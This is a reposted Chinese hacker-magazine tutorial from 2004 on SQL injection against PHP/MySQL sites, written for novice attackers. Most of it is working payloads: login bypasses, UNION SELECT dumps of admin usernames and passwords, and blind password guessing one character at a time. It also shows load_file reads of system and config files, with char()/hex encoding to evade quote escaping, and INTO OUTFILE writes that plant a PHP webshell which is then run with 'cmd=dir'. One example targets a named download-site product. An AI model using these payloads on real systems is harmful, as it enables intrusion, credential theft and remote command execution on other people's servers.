Heim  >  Artikel  >  Backend-Entwicklung  >  php注入专题

php注入专题

WBOY
WBOYOriginal
2016-06-23 14:32:21683Durchsuche

php注入专题
                                          ------------Alpha



/*此文已发于《黑客x档案》2004年10期专题。
谨以此文献给最爱我的爸爸妈妈,以及所有帮助过我的人。*/

/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@由于xfocus不支持上传图片
您可以到http://www.54hack.info/txt/php.pdf下载此文的pdf文档(含图片)*/

Php注入攻击是现今最流行的攻击方式,依靠它强大的灵活性吸引了广大黑迷。

在上一期的《php安全与注射专题》中林.linx主要讲述了php程序的各种漏洞,也讲到了php+mysql注入的问题,可是讲的注入的问题比较少,让我们感觉没有尽兴是吧.
OK,这一期我将给大家伙仔仔细细的吹一吹php+mysql注入,一定让你满载而归哦(谁扔砖头哩!)。
本文主要是为小菜们服务的,如果你已经是一只老鸟呢,可能某些东西会感觉比较乏味,但只要你仔细的看,你会发现很多有趣的东西哦。

阅读此文你只要明白下面的这点东西就够了。

1.明白php+mysql环境是如何搭建的,在光盘中我们收录搭建的相关文章,如果您对搭建php+mysql环境不是很清楚,请先查阅此文,在上一期的专题中也有所介绍。
2.大概了解php和apache的配置,主要用到php.ini和httpd.conf
而此文我们主要用到的是php.ini的配置。为了安全起见我们一般都打开php.ini里的安全模式,即让safe_mode = On,还有一个就是返回php执行错误的display_errors 这会返回很多有用的信息,所以我们应该关闭之,
即让display_errors=off  关闭错误显示后,php函数执行错误的信息将不会再显示给用户。
在php的配置文件php.ini中还有一个非常重要的配置选项magic_quotes_gpc,高版本的默认都是magic_quotes_gpc=On,只有在原来的古董级的php中的
默认配置是magic_quotes_gpc=Off,可是古董的东西也有人用的哦!
当php.ini中magic_quotes_gpc=On的时候会有什么情况发生哩,不用惊慌,天是塌不下来的啦!它只是把提交的变量中所有的 ' (单引号), “ (双引号), \ (反斜线) 和 空字符会自动转为含有反斜线的转义字符,例如把’变成了\’,把\变成了\\。
就是这一点,让我们很不爽哦,很多时候我们对字符型的就只好说BYEBYE了,
但是不用气馁,我们还是会有好方法来对付它的,往下看咯!
3.有一定的php语言基础和了解一些sql语句,这些都很简单,我们用到的东西很少,所以充电还来的及哦!

我们先来看看magic_quotes_gpc=Off的时候我们能干些啥,然后我们再想办法搞一搞magic_quotes_gpc=On的情况哈

一:magic_quotes_gpc=Off时的注入攻击
magic_quotes_gpc=Off的情况虽然说很不安全,新版本默认也让
magic_quotes_gpc=On了,可是在很多服务器中我们还发现magic_quotes_gpc=Off的情况,例如www.qichi.*。
还有某些程序像vbb论坛就算你配置magic_quotes_gpc=On,它也会自动消除转义字符让我们有机可乘,所以说
magic_quotes_gpc=Off的注入方式还是大有市场的。

下面我们将从语法,注入点 and 注入类型几个方面来详细讲解mysql+php注入

A:从MYSQL语法方面先
  1。先讲一些mysql的基本语法,算是给没有好好学习的孩子补课了哦~_~
      1)select
    SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT]
    select_expression,...
    [INTO {OUTFILE | DUMPFILE} 'file_name' export_options]
    [FROM table_references
        [WHERE where_definition]
        [GROUP BY col_name,...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...]
      ]
常用的就是这些,select_expression指想要检索的列,后面我们可以用where来限制条件,我们也可以用into outfile将select结果输出到文件中。当然我们也可以用select直接输出
例如

mysql> select 'a';
+---+
| a |
+---+
| a |
+---+
1 row in set (0.00 sec)
具体内容请看mysql中文手册7.12节
下面说一些利用啦
看代码先
这段代码是用来搜索的哦

“>




………
SELECT * FROM users WHERE username LIKE ‘%$search%’ ORDER BY username
…….
?>

这里我们顺便说一下mysql中的通配符,’%’就是通配符,其它的通配符还有’*’和’_’,其中" * "用来匹配字段名,而" % "用来匹配字段值,注意的是%必须与like一起适用,还有一个通配符,就是下划线" _ ",它代表的意思和上面不同,是用来匹配任何单个的字符的。在上面的代码中我们用到了’*’表示返回的所有字段名,%$search%表示所有包含$search字符的内容。

我们如何注入哩?
哈哈,和asp里很相似
在表单里提交
Aabb%’ or 1=1 order by id#
注:#在mysql中表示注释的意思,即让后面的sql语句不执行,后面将讲到。
或许有人会问为什么要用or 1=1呢,看下面,

把提交的内容带入到sql语句中成为

SELECT * FROM users WHERE username LIKE ‘%aabb%’ or 1=1 order by id# ORDER BY username

假如没有含有aabb的用户名,那么or 1=1使返回值仍为真,使能返回所有值

我们还可以这样

在表单里提交
%’ order by id#
或者
’ order by id#
带入sql语句中成了
SELECT * FROM users WHERE username LIKE ‘% %’ order by id# ORDER BY username

SELECT * FROM users WHERE username LIKE ‘%%’ order by id# ORDER BY username
当然了,内容全部返回。
列出所有用户了哟,没准连密码都出来哩。
这里就举个例子先,下面会有更精妙的select语句出现,select实际上几乎是无处不在的哦!
2)下面看update咯
Mysql中文手册里这么解释的:
UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,...
        [WHERE where_definition]
UPDATE用新值更新现存表中行的列,SET子句指出哪个列要修改和他们应该被给定的值,WHERE子句,如果给出,指定哪个行应该被更新,否则所有行被更新。
详细内容去看mysql中文手册7.17节啦,在这里详细介绍的话会很罗嗦的哦。
由上可知update主要用于数据的更新,例如文章的修改,用户资料的修改,我们似乎更关心后者,因为......
看代码先哦
我们先给出表的结构,这样大家看的明白
CREATE TABLE users (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
其中userlevel表示等级,1为管理员,2为普通用户
//change.php
……
$sql = "UPDATE users SET password='$pass', email='$email' WHERE id='$id'"
……
?>
Ok,我们开始注入了哦,在添email的地方我们添入
netsh@163.com’,userlevel=’1
sql语句执行的就是
UPDATE users SET password='youpass',
email='netsh@163.com’,userlevel=’1’ WHERE id='youid’
看看我们的userlevel就是1了,变成管理员了哟
哈哈,如此之爽,简直是居家旅行必备啊。
这里我们简单提一下单引号闭合的问题,如果只用了一个单引号而没有单引号与之组成一对,系统会返回错误。列类型主要分为数字类型,日期和时间类型,字符串类型,然而引号一般用在字符串类型里,而在数字类型里一般人都不会用到引号(然而却是可以用的,而且威力很大),日期和时间类型就很少用于注入了(因为很少有提交时间变量的)。在下面我们会详细将这几种类型的注入方式哦!

3)下面轮到insert了,它已经等的不耐烦了,简直就像中午食堂里的学生们。
Php中文手册是这样教我们的:
INSERT [LOW_PRIORITY | DELAYED] [IGNORE]
        [INTO] tbl_name [(col_name,...)]
        VALUES (expression,...),(...),...
INSERT把新行插入到一个存在的表中,INSERT ... VALUES形式的语句基于明确指定的值插入行,INSERT ... SELECT形式插入从其他表选择的行,有多个值表的INSERT ... VALUES的形式在MySQL 3.22.5或以后版本中支持,col_name=expression语法在MySQL 3.22.10或以后版本中支持。
由此可见对于见不到后台的我们来说,insert主要就出现在注册的地方,或者有其它提交的地方地方也可以哦。

看看表的结构先
CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
我们仍然假设userlevel表示用户等级,1为管理者,2为普通用户哈。
代码如下
//reg.php
……
$query = "INSERT INTO members VALUES('$id','$login','$pass','$email',’2')" ;
……
?>
默认插入用户等级是2
现在我们构建注入语句了哦
还是在要我们输入email的地方输入:
netsh@163.com’,’1’)#
sql语句执行时变成了:
INSERT INTO membres VALUES ('youid','youname','youpass',' netsh@163.com’,’1’)#',?')
看我们一注册就是管理员了。
#号表示什么来着,不是忘了吧,晕了,这么快?
忘就忘了吧,下面再详细给你说说

2.下面说一说mysql中的注释,这个是很重要的,大家可不能再睡觉啦,要是再睡觉到期末考试的时候就挂了你们。
我们继续
相信大家在上面的几个例子中已经看到注释的强大作用了吧,这里我们将再详细介绍一下。
Mysql有3种注释句法
# 注射掉注释符后面的本行内容
-- 注射效果同#
/* ... */  注释掉符号中间的部分

对于#号将是我们最常用的注释方法。
-- 号记得后面还得有一个空格才能起注释作用。
/*…*/  我们一般只用前面的/*就够了,因为后面的我们想加也不行,是吧?

注意:在浏览器地址栏输入#时应把它写成%23,这样经urlencode转换后才能成为#,从而起到注释的作用。#号在浏览器的地址框中输入的话可什么也不是哦。
为了大家深刻理解
这里我给大家来个例题

有如下的管理员信息表

CREATE TABLE alphaauthor (
  Id tinyint(4) NOT NULL auto_increment,
  UserName varchar(50) NOT NULL default '',
  PASSWORD varchar(50) default NULL,
  Name varchar(50) default NULL,
  PRIMARY KEY  (Id),
  UNIQUE KEY Id (Id),
  KEY Id_2 (Id)
)

//Login.php
……
$query="select * from alphaauthor where UserName='$username' and Password='$passwd'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
    {
    Echo “重要信息”;
    }
    Else
    Echo “登陆失败”;
……
?>

我们在浏览器地址框直接输入
http://***/login.php?username=a’or id=1 %23
%23转换成#了
放到sql语句中
select * from alphaauthor where UserName='a’or id=1 #' and Password='$passwd'
#号后面的都拜输入了,看看
这句话等价于
select * from alphaauthor where UserName='a’or id=1

再仔细看看表的结构,只要有id=1的账户,返回的$data就应该为真
我们就直接登陆了,当然你也可以写
hppt://***/login.php?username=a’or 1=1 %23
一样的啦

3.下面将要出场的是……
对了,就是这些显示系统信息的间谍们

VERSION() 返回数据库版本信息
DATABASE() 返回当前的数据库名字,如果没有当前的数据库,DATABASE()返回空字符串。
USER()
SYSTEM_USER()
SESSION_USER()
返回当前MySQL用户名
mysql> select user(),database(),version();
+----------------+------------+----------------+
| user()         | database() | version()      |
+----------------+------------+----------------+
| root@localhost | alpha      | 5.0.0-alpha-nt |
+----------------+------------+----------------+
1 row in set (0.01 sec)
如图(1)所示,图不是很爽是不是?睁大你的大眼睛好好看哦

有时候很有用的哦,比如说你可以根据他的mysql版本看看他的mysql有没有什么溢出漏洞,没准我们就发现个好动东哈哈

4. 下面进入最重要的部分了,没睡觉的打起精神来,睡着了的醒一醒啦。
1)select union select
还是php中文手册中讲的:
SELECT ... UNION [ALL] SELECT ... [UNION SELECT ...]
UNION 在 MySQL 4.0.0 中被实现。
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。

在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
SELECT 命令是一个普通的选择命令,但是有下列的限制:
只有最后一个 SELECT 命令可以有 INTO OUTFILE。

需要注意的是union前后的select字段数相同,只有这样union函数才能发挥作用。如果字段数不等将返回
ERROR 1222 (21000): The used SELECT statements have a different number of columns 错误
晕咯,这样不好吧。咋半哩?
别急哈,急也没用的
例如:
已知alphadb表有11列
我们
mysql> select * from alphadb where id=351 union select 1,2,3,4,5,6,7,8,9,10 from alphaauthor;
如图(2)

我们只slect了10个数当然出错啦。
下面看
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如图(3)

我们看看id=247中的数据先
mysql> select * from alphadb where id=347;
+-----+--------------------------------------------+-----------------
| id  | title | content | importtime | author | accessing | addInto | type | showup | change_ubb | change_html |
+-----+--------------------------------------------+-----------------
| 347 | 利用adsutil.vbs+..--发表于黑客档案2004.6期 | 发表于黑客x档案第6期 | 2004
-03-28 11:50:50 | Alpha  | 17 | Alpha  |    2 |   1 |    1 |  1 |
+-----+--------------------------------------------+-----------------
1 row in set (0.00 sec)
我们看到,它的返回结果和
mysql> select * from alphadb where id=347 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
是相同的。
哦,大家或许会问,这样有什么用呢?
问的好。
Ok,继续试验
当我们输入一个不存在的id的时候
例如id=0,或者id=347 and 11
再看看
mysql> select * from alphadb where id=347 and 11 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor;
如图(4)

我们发现它把我们后面的1,2,3,4,5,6,7,8,9,10,11赋给了各个字段来显示。
哈哈,终于显示不一样了,可是这有什么用呢?
先不告诉你。
我们讲一个具体的例子先
http://localhost/site/display.php?id=347
看看图5

http://localhost/site/display.php?id=347 and 11 union select 1,2,3,4,5,6,7,8,9,10,11 from alphaauthor
结果如图6

下面我们用一幅图来总结一下union的用法如图7

Ok,知道怎么利用了不?不知道的话下面将会详细告诉你。
2)LOAD_FILE
这个功能太强大了,这也是林.linx在上一个专题中提到的方法。虽然说过了,可我也不得不再提出来。
Load_file可以返回文件的内容,记得写全文件的路径和文件名称
Etc.
我们在mysql的命令行下输入

mysql> select load_file('c:/boot.ini');
效果如图(8)

可是我们在网页中怎么搞呢?
我们可以结合union select使用
http://localhost/site/display.php?id=347%20and%2011%20union%20select%201,2,load_file('c:/apache/htdocs/site/lib/sql.inc'),4,5,6,7,8,9,10,11
这里的c:/apache/htdocs/site/lib/sql.inc并不是我的配置文件哦,:P
看仔细图9中的

看看,文件内容暴露无疑。
我们为什么要把load_file('c:/apache/htdocs/site/lib/sql.inc')放在3字段呢?我们前面提到列类型一共有那么三种,而原来图7中显示3的地方应该是显示文章内容,应该是字符型的,而load_file('c:/apache/htdocs/site/lib/sql.inc')也一定是字符型的,所以我们猜测放在3字段可以顺利显示。
其实还有很多好的利用方法,继续往下看哦!
3) select * from table into outfile'file.txt'
有啥用哩?
作用就是把表的内容写入文件,知道有多重要了吧,我们写个webshell吧,哈哈。
当然我们不只是导出表,我们还可以导出其它东西的哦,往下看啦。
假设有如下表

#
# 数据表的结构 `test`
#

CREATE TABLE test (
  a text,
  b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

#
# 导出下面的数据库内容 `test`
#

INSERT INTO test VALUES ('', NULL);

已知我的网站路径在C:/apache/htdocs/site/
好,看你表演哦,输入
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,a,4,5,6,7,8,9,10,11%20from%20test%20into%20outfile%20'C:/apache/htdocs/site/cmd.php'
意思就是把表里的a列内容导出到cmd.phpzhong
看看cmd.php里的内容先
1    2        0000-00-00 00:00:00    5    6    7    8    9    10    11
我们执行一下看看先
http://localhost/site/cmd.php?cmd=dir
如图(10)


哈哈,果然很爽哦!
4)下面给大家讲述LOAD DATA INFILE的故事

LOAD DATA [LOW_PRIORITY] [LOCAL] INFILE 'file_name.txt' [REPLACE | IGNORE] INTO TABLE tbl_name

LOAD DATA INFILE语句从一个文本文件中以很高的速度读入一个表中。
因为这个语句一般情况下不能在浏览器里直接输入,所以作用不是很大。

这里举个例子来说说
表test的结构和上面介绍的一样

#
# 数据表的结构 `test`
#

CREATE TABLE test (
  a text,
  b text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;


我们在mysql命令行下输入:
Mysql>load data infile 'c:/cmd.php' into table test

其中c:/cmd.php内容为

注意:上面的内容写在一行里哦。
通过上面的指令我们就把cmd.asp的内容输入到了test表中
所得结果如图(11)

实际上得到的就是上个例子test表中的内容!看看,再结合into outfile,是不是一个完美的组合呢。
基本的语法就将到这里了,可能还有很多重要的东西漏掉了哦,你可以去php中文手册里淘金,相信你一定会找到很多好东西的,自己挖掘吧。(随光盘我们付上一个php中文手册)

B:从注入方式上
主要有数字型,字符型和搜索类
1.    数字型
很常见了,我们上面举的就一直是字符型的例子,大家应该还都记得asp下如何破管理员密码,下面我们来看一下php下如何实现
我们在地址栏输入:
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor)
判断是否存在alphaauthor,如果有返回正常页面(一般情况啦,有的时候也返回其它什么的,这主要根据构造1=1 和1=2时的页面判断)

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5)
判断是否username字段的长度为5

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20length(username)=5%20and%20length(password)=32)
跟上面差不多啦,判断password字段的长度

下面进入猜密码的阶段,用ascii方法来一位一位猜测吧。Ascii等同于asp下的asc,哈哈,经常看黑客X档案的一定很清楚啦。
http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,1,1))=97)
用户名第一位哦ascii97就是字符a啦

http://localhost/site/display.php?id=451%20and%201=(select%20min(id)%20from%20alphaauthor%20where%20ascii(mid(username,2,1))=108)
第二位啦,这里只放这一个图啦,如图(12)


下面省略X条。
反正我们最后是得出用户名和密码了。
我们会发现这里的注入方法几乎和asp下的注入是一样的,就是把asc变成ascii,把len变成length就可以了,最后我们就可以得到后台的管理员账号和密码,
当然我们有更简单的方法,可以直接用union的方法直接得到

http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor
如图(13)

账号是alpha,密码是一长串的东东,哈哈,简单明了,看到没有,这里显示出了union select的强大威力了吧。

上面讲的是在不通的表里面猜测内容,如果在同一个表里面我们还可以像下面这样哩:
下面的一段代码根据用户id显示用户信息

//user.php
………..
$sql = "SELECT * FROM user WHERE id=$id";
…………

if (!$result)
{
echo "wrong";
exit;
}
else
echo "用户信息";
?>

猜测方法和上面几乎是一样的,就是我们不用再用select了。
我们输入
http://localhost/user.php?id=1 and length(password)=7
显示用户信息说明我们猜的正确,呵呵,comeon

http://localhost/user.php?id=1 and ascii(mid(password,1,1))=97
第一位密码
http://localhost/user.php?id=1 and ascii(mid(password,2,1))=97
第二位哦,

通过这种方法最终我们也可以得出id=1的用户的账号密码

2.    下面我们来看看字符型的注入方式
在asp中字符型的注入方式很灵活,在php中字符型的注入就主要在
magic_quotes_gpc=Off的情况下进行了。(除非有另外一种情况,先不告诉你)

例如:
//display.php
……
$query="select * from alphadb where id=’”.$id.”’";
…………..
?>
这样id就变成字符型的了。
不知道大家发现没有,假如我们这样写程序的话,安全性会有所提高的哦
    呵呵,继续了
好我们检验是否有注入先
http://localhost/site/display.php?id=451' and 1=1 and ‘’=’
http://localhost/site/display.php?id=451' and 1=2 and ‘’=’
带入到sql语句里就是
select * from alphadb where id=’451’and 1=1 and ‘’=’’
select * from alphadb where id=’451’and 1=2 and ‘’=’’

如果你发现页面信息不同的话说明漏洞存在哦
或者
http://localhost/site/display.php?id=451' and 1=1 %23
http://localhost/site/display.php?id=451' and 1=2 %23
%23转化以后就是#,即注释的意思,上面说过了哦
这样的话就不用考虑那个引号的闭合问题了,实际很多时候我们推荐这种方法。
把它带入到sql语句里就成了
select * from alphadb where id=’451’and 1=1 #’
正是我们想要的哦!
看看效果吧,
http://localhost/site/display.php?id=451' and 1=1 %23
图(14)

正常显示了呓!

http://localhost/site/display.php?id=451' and 1=2 %23
图(15)


显示不正常,哈哈,说明问题存在
我们继续哦:
http://localhost/site/display.php?id=451’%20and%201=2%20%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20alphaauthor%23
看图(16)

Ok,用户名和密码又出来了哦!
3.    大家一起来看看搜索型注入吧
搜索型的语句一般这样写
//search.php
……
$query="select * from alphadb where title like '%$title%';
…………..
?>
不知道大家还是否记得asp里的注入呢?
不过不记得也没有关系的啦,我们看吧。
我们构建注入语句吧
在输入框输入
a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor#放到sql语句中成了

select * from alphadb where title like '%a%' and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %'
结果如图17哦

怎么样,出来了吧,哈哈,一切尽在掌握之中。

C:下面我们从注入地点上在来看一下各种注入攻击方式
1)    首先来看看后台登陆哦
代码先
//login.php
…….
$query="select * from alphaauthor where UserName='"
.$HTTP_POST_VARS["UserName"]."' and
Password='". $HTTP_POST_VARS["Password"]."'";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo “后台登陆成功”;
}
esle
{
echo “重新登陆”;
exit;


………
?>
Username和password没有经过任何处理直接放到sql中执行了。
看看我们怎么绕过呢?
最经典的还是那个:
在用户名和密码框里都输入
‘or’’=’
带入sql语句中成了
select * from alphaauthor where UserName=’’or’’=’’ and Password=’’or’’=’’
这样带入得到的$data肯定为真,也就是我们成功登陆了。
还有其他的绕过方法,原理是一样的,就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和密码都输入’or’a’=’a
Sql成了
select * from alphaauthor where UserName=’’or’a’=’a’ and Password=’’or’a’=’a’

2.
用户名和密码都输入’or 1=1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 1=1 and ‘’=’’ and Password=’ ’or 1=1 and ‘’=’’
用户名和密码都输入’or 2>1 and ‘’=’
Sql成了
select * from alphaauthor where UserName=’ ’or 2>1 and ‘’=’’ and Password=’ ’or 2>1 and ‘’=’’

3.
用户名输入’or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=’ ’or 1=1 # and Password=’anything’
后面部分被注释掉了,当然返回还是真哦。
        4.
假设admin的id=1的话你也可以

用户名输入’or id=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName=’ ’or id=1 # and Password=’anything’
如图18

看看效果图19


怎么样?直接登陆了哦!

俗话说的好,只有想不到没有做不到。
还有更多的构造方法等着课后自己想啦。

2)第二个常用注入的地方应该算是前台资料显示的地方了。
上面已经多次提到了呀,而且涉及了数字型,字符型等等,这里就不再重复了哈。
只是举个例子回顾一下
碧海潮声下载站 - v2.0.3 lite有注入漏洞,代码就不再列出来了
直接看结果
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如图20

看看,我们又得到我们想要的了
用户名alpha
密码一长串。
为什么我们要把password放在3字段处,把username放在5字段处了,我们上面已经提过了哦,就是我们猜测3和5段显示的应该是字符串型,而与我们要显示的username和password的字段类型应该相同,所以我们这样放了哦。
为什么要用18个字段呢?不知道大家还是否记得在union select介绍那里我们提到union必须要求前后select的字段数相同,我们可以通过增加select的个数来猜测到需要18个字段,只有这样union select的内容才会正常显示哦!
3)其它如资料修改,用户注册的地方主要得有用户等级的应用。
我们在上面讲述update和insert的时候都已经讲到,因为不是很常用,这里就不再阐述,在下面将会提到一些关于update和insert的高级利用技巧。
二:下面将要进入magic_quotes_gpc=On时候的注入攻击教学环节了
    当magic_quotes_gpc=On的时候,交的变量中所有的 ' (单引号),
“ (双引号), \ (反斜线) 和 空字符会自动转为含有反斜线的转义字符。
    这就使字符型注入的方法化为泡影,这时候我们就只能注入数字型且没有
Intval()处理的情况了,数字型的我们已经讲了很多了是吧,由于数字型没有用到单引号自然就没有绕过的问题了,对于这种情况我们直接注入就可以了。
1)假如是字符型的就必须得像下面这个样子,没有在字符上加引号 。
    
这里我们要用到一些字符串处理函数先,
字符串处理函数有很多,这里我们主要讲下面的几个,具体可以参照mysql中文参考手册7.4.10。
    
    char() 将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。
当然你也可以用字符的16进制来代替字符,这样也可以的,方法就是在16进制前面加0x,看下面的例子就明白了。

        //login.php
    ……
$query="select * from ".$art_system_db_table['user']."
where UserName=$username and Password='".$Pw."'";
……
?>

假设我们知道后台的用户名是alpha
转化成ASCII后是char(97,108,112,104,97)
转化成16进制是0x616C706861
(我们将在光盘中提供16进制和ascii转换工具)
好了直接在浏览器里输入:

http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
sql语句变成:

select * from alphaAuthor where UserName=char(97,108,112,104,97)# and Password=''
如图21

    正如我们期望的那样,他顺利执行了,我们得到我们想要的。
    当然咯,我们也可以这样构造
http://localhost/site/admin/login.php?username=0x616C706861%23
sql语句变成:
select * from alphaAuthor where UserName=0x616C706861%23# and Password=''
我们再一次是成功者了。很有成就感吧,

或许你会问我们是否可以把#也放在char()里
实际上char(97,108,112,104,97)相当于’alpha’
注意是alpha上加引号,表示alpha字符串。
我们知道在mysql中如果执行

mysql> select * from dl_users where username=alpha;
ERROR 1054 (42S22): Unknown column 'alpha' in 'where clause'
看返回错误了。因为他会认为alpha是一个变量。所以我们得在alpha上加引号。
如下
mysql> select * from dl_users where username='alpha';
这样才是正确的。
如果你把#号也放到那里去了,就成了’alpha#’
带入sql语句中
select * from dl_users where username='alpha#';
当然是什么也没有了,因为连alpha#这个用户都没有。
好,下面我们再来看个例子,

    //display.php
    ……
$query="select * from ".$art_system_db_table['article']."
where type=$type;
……
?>

代码根据类型来显示内容,$type没有任何过滤,且没有加引号放入程序中。
假设type中含有xiaohua类,xiaohua的char()转换后是
char(120,105,97,111,104,117,97)

我们构建
http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
带入sql语句中为:
select * from ".$art_system_db_table['article']."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看,我们的用户名和密码照样出来了哦!没有截图,想像一下咯:P

2)    或许有人会问,在magic_quotes_gpc=On的情况下功能强大的load_file()还能不能用呢?
这正是我们下面要将的问题了,load_file()的使用格式是load_file(‘文件路径’)
我们发现只要把‘文件路径’转化成char()就可以了。试试看哦
load_file(‘c:/boot.ini’)转化成
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
图22

    放到具体注入里就是
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load_file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
看图23

    看看,我们看到了boot.ini的内容了哦。
很可惜的是into outfile’’ 不能绕过,不然就更爽了。但是还是有一个地方可以使用select * from table into outfile’’ 那就是….(先卖个关子,下面会告诉你)
三:一些注入技巧,很多都是个人发现哦
1.union select的技巧
UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
然而有我们可以用下面的方法来猜测列的类型,可是省去很多时间
我们先
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
图24

看看软件描述里写着3,作者里写着4,我们就可以猜测3和4的位置是字符型的,我们再看14前面的是下载次数,这就应该是int型的了,对吧。
好了,我们根据这里来构建吧,估计username和password也是字符型的。
试试看哦
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users
如图25

哈哈,这种方法只要看看就可以大概猜到了。
2.load_file读写文件的技巧
不知道你有没有发现过在我们用load_file()读写php文件时不能在网页中显示。例如:
'C:/apache/htdocs/site/lib/sql.inc.php'转化为16进制为:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870
我们构造如下
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
如图26

发现在文章内容的地方本来该显示sql.inc.php的,可是却空空之,为何呢?
我们看看网页的源代码先
图27

哈哈,看看标记的地方,晕死,原来在这里啊,可是为什么哩?
原来html中用于标注,哈哈,明白了吧!下次可得记得在哪里找哦。
4.    md5的恶梦
山东大学的王博士最近可是搞md5搞的红透了,我们也来搞一搞吧,我们比他更爽,不用计算,哈哈。
md5我们是有办法绕过的,但是并不是哪里都可以,php中的md5函数就不能绕过,因为你输入的所有东西都在里面,根本跑不出。可以绕过的是sql语句中的md5。当然别的sql中的函数也是可以绕过的,道理相同哦。
看例子先:
//login.php
……
$query="select * from alphaauthor where UserName=md5($username) and Password='".$Pw."'";
……
?>
我们直接在浏览器提交
http:/login.php?username=char(97,98)) or 1=1 %23
带入sql语句成为select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password='".$Pw."'
记得md5里面放的是字符,因为后面有or 1=2,所以我们随便放了个char(97,98).    Ok,登陆成功了哦!看看,md5在我们面前也没有什么用处。
5.    核心技术,利用php+mysql注入漏洞直接写入webshell。。
直接利用注入得到webshell,这应该是大家都很想的吧,下面就教给你。
这里假设你已经知道了网站所在的物理路径,我这里假设网站路径为c:/apache/htdocs/site。网站的mysql连接信息放在/lib/sql.inc.php里
1)适用于magic_quotes_gpc=Off
假设我们可以上传图片,或者txt,zip,等其它东西,我们把我们的木马改成
jpg后缀的,上传后路径为/upload/2004091201.jpg
2004091201.jpg中的内容为
好,我们开始http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php'
因为适用了outfile,所以网页显示不正常,但是我们的任务是完成了。
如图28
我们赶快去看看http://localhost/site/shell.php?cmd=dir
如图29

爽否?Webshell我们已经创建成功了。看到最前面的12了没?那就是我们select 1,2所输出的!
2)下面再讲一个适用于magic_quotes_gpc=On的时候保存webshell的方法哦,显然肯定也能用在于magic_quotes_gpc=Off的时候啦。
我们直接读他的配置文件,用技巧2介绍的方法
http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11
得到sql.inc.php内容为
$connect=@mysql_connect("localhost","root","") or  die("Unable  to  connect  to  SQL  server");mysql_select_db("alpha",$connect) or  die("Unable  to  select  database");?>
好了我们知道了mysql的root密码了,我们找到phpmyadmin的后台
http://localhost/phpmyadmin/
用root密码为空登陆。
如图30
然后我们新建立一个表结构内容如下:

#
# 数据表的结构 `te`
#
CREATE TABLE te (
  cmd text NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

#
# 导出下面的数据库内容 `te`
#
INSERT INTO te VALUES ('');
Ok,是我们用select * from table into outfile’’的时候了
直接在phpmyadmin的sql输入
SELECT * FROM `te` into outfile 'C:/apache/htdocs/site/cmd1.php';
如图31

Ok,成功执行,我们去http://localhost/site/cmd1.php?cmd=dir看看效果去
如图32

